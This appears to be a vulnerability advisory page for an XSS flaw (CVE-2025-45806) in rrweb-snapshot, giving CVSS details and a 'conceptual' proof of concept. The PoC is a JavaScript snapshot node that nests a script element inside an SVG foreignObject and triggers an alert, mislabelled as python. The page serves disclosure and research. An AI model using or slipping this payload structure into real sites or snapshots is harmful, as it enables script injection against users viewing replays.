A cross-site scripting (XSS) vulnerability in rrweb-snapshot before v2.0.0-alpha.18 allows attackers to execute arbitrary web scripts or HTML via a crafted payload.
CVSS Details
CVSS Score
6.1
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
Configurations (Affected Products)
No configuration data available.
rrweb-snapshot < v2.0.0-alpha.18
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!--
Conceptual PoC for CVE-2025-45806
This payload demonstrates how a malicious script could be injected
into a snapshot structure if input validation is missing.
-->
<script>
// Simulating a malicious snapshot node
const maliciousSnapshot = {
type: 'Element',
tagName: 'svg',
attributes: {
xmlns: 'http://www.w3.org/2000/svg',
width: '100',
height: '100'
},
childNodes: [
{
type: 'Element',
tagName: 'foreignObject',
attributes: { width: '100%', height: '100%' },
childNodes: [
{
type: 'Element',
tagName: 'div',
attributes: {},
childNodes: [
{
type: 'Element',
tagName: 'script',
attributes: {},
childNodes: [
{
type: 'Text',
textContent: 'alert("CVE-2025-45806 XSS Triggered");'
}
]
}
]
}
]
}
]
};
// In a vulnerable version of rrweb-snapshot, rebuilding this node
// would execute the script inside the foreignObject.
console.log('Malicious Payload Generated');
</script>